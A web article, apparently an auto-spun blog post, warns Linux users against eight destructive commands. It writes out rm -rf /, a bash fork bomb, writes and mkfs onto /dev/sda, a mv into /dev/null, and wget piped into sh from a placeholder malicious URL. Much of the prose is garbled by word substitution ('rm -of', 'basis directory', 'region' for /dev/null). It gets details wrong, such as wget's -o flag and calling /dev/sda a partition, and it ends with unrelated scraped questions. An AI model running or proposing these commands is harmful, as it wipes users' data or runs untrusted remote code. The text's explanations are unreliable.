8 deadly commands you should never run on linux

689
8 deadly commands you should never run on linux

Here we can see, “8 deadly commands you should never run on linux”

Linux OS provides its users with more independence as compared to Windows or the other OS. However, while for a few experienced developers, the Linux OS provides freedom to hold out operations, it could also mar the liberty provided to those developers. While every technology has its pros and con, so does Linux. Therefore, it’s of utmost importance that the user understands safe and deadly commands before executing. Here, we are getting to discuss the deadly commands that you should never run without a complete understanding of what they mean.

1. Recursive Deletion

One of the fastest ways to delete a folder and its contents is the rm -of command. It’s gained popularity over the years because it has overcome the error faced in Windows when a file or folder is deleted. This command wipes off everything on the file, folder or hard disc it’s run on. Let’s break down the command and understand what it stands for:

rm – Remove all the files in locations given

This command is further divided into two parts: r and f. r represent removing all the files recursively while f stands for a force that suggests that delete all the files without prompting the user.

There are a variety of variations of this command available over the web. It’s important to know that one should know what a command does once running on a selected folder, or the info are often lost. Data lost from this command can’t be recovered in any way.

  • rm – This command is employed to delete files within the path you provide
  • rm -r – This command is employed to delete files recursively from all directories and sub-directories in Linux Operation System.
  • rm -f – This command is employed to delete files on the trail provided without prompting the user. This also includes deleting the “Read Only Files.”
  • rm -rf / – this is often among the foremost dangerous commands because the / refers to the basis directory of the OS. Once this command is run, it deletes all the content of the basis directory forcefully and recursively. Thus, all of your directories and subdirectories will be deleted, and therefore, the data will be lost.
  • rm -rf * – This command forcefully deletes all the info within the working directory
  • rm -rf. – This command forcefully deletes the files within the current working directory also as sub-directories. It also removes all the configuration files within the directory.

2. Fork Bomb

As Linux operates on Bash, therefore, it’s essential to know what the command goes to try to to to your system before you execute it. This is often an easy bash function that, once executed, creates copies of itself that successively creates another set of copies of itself. This consumes the CPU time and memory. Thus, it runs recursively until the system freezes.

Also See:  Samsung/AMD GPU performance benchmark impresses
:(){:|:&};:

3. Overwrite Hard Drive

If you’ve executed the subsequent command by mistake or accidentally on your disk drive, recovery is impossible.

command > dev/sda
This command writes raw data to the hard drive mentioned. This results in data loss in the hard drive or partition mentioned in the command. Let's break down the command into sections in order to understand what each of the section does.
command - This can be any command entered by the user

> - This is responsible for sending the output of the command to the location entered

dev/sda - The output of the command will be written to this location

Thus, you should know what that command will do to your operating system and hard drive before executing it. Moreover, be careful about using commands which include your hard drive locations such as dev/sda.

4. Implode Hard Drive

Like the saying “There is quite a method to skin a cat,” there’s quite a method to destroy your hard disc. In every Linux system, dev/null may be a particular location denoted as a region. Anything moved to the present region is destroyed. So if you’ve got accidentally moved your data to the present folder, your data isn’t getting to be recovered anyway.

mv /home/root/*  dev/null

The abovementioned command moves all the info within the home/root folder to the region, thus leading to data loss. So, let’s break down the command to know what each section does.

mv - This command is used for moving a folder to another location

/home/root/* – this is often the situation of the folder which goes to be moved

dev/null – A unique location denoted because the region 

Thus, you ought to take care while running the move command. First, confirm that the situation that you simply are moving your folder to exists on the system.

5. Download Malicious Script

We are all conscious of the advantages of the “wget” command in Linux, but we aren’t conscious that it can download malicious scripts and viruses as beneficial software. If you’ve accidentally run one among the subsequent commands, you’ll understand what this is often all about.

wget http://malicious_source -o- | sh
wget http://example.com/something  -o- | sh -
wget http: //an-untrusted-url -o- | sh

The abovementioned commands download the content from the URL provided and run the downloaded script.

Also See:  Linux

6. Format Hard Drive

There is another command to wipe out your disk drive and makes it new. Again, these should only be utilized once you have your data backup on the cloud or an external device.

mkfs.ext3 /dev/sda

Running this command is just like running a full format on a C drive in windows, during which all the files are going to be cleaned from the drive, and it’s ready for brand spanking new installation. to form it easier for you to know. So let’s break down this command.

mkfs.ext3 - This creates a new ext3 file system on the hard drive.
dev/sda - This specifies the first partition on the hard drive.

When this command is executed, it formats the required partition on the disk drive and reformats it consistent with the required filing system, which is ext3 within the abovementioned command. Therefore, it’s vital to know what the command does before running on your system and losing all the info.

7. Flush File Contents

The command for flushing file contents is a simple one that will be executed in any instance.

>file

If you’ve ever executed any command with the type mentioned above, you’d have seen that the contents of the required file must be flushed. Unfortunately, “>” is liable for flushing the contents of the file; therefore, countercheck the command you’re executing.

8. Edit Previous Command

This command may be a blessing and a curse. While it makes it easier not to type all the previous command again and execute it, it also can infuse malicious content in your previously run command. Therefore, it’s necessary to make sure if it’s suitable for you to use this command.

^foo^bar

I hope this detailed information about the deadly commands will prevent you from losing your data from your system. allow us to know within the comment section below if this helped you out or not.

User Questions:

1.What does rm * neutralize Linux?

the rm command eliminates objects like files, directories, and symbolic links from the filing system like UNIX. To be more precise, rm removes references to things from the filesystem, where those objects may need to have multiple references (for example, a file with two different names).

2.Does rm * Remove all files?

rm removes each file specified on the instruction. By default, it doesn’t remove directories. However, when rm is executed with the -r or -R options, it recursively deletes any matching directories, their subdirectories, and everyone files they contain.

Also See:  My Apple Watch Won’t Turn Off! Here’s The Real Fix

3.Can R run on Linux?

Introduction. GNU R are often run on the Linux OS during a number of the way. This article will describe running R from the instruction, in an application window, during a batch mode and from a bash script. You’ll see that these various options for running R in Linux will suit a selected task.

4.Share your most “evil” NIX commands/experiences.

Share your most "evil" NIX commands/experiences. from linux

5.Some guy told me to run “sudo rm -rf /* “now my windows and ubuntu both are gone.

Some guy told me run " sudo rm -rf /* " now my windows and ubuntu both are gone. from linux4noobs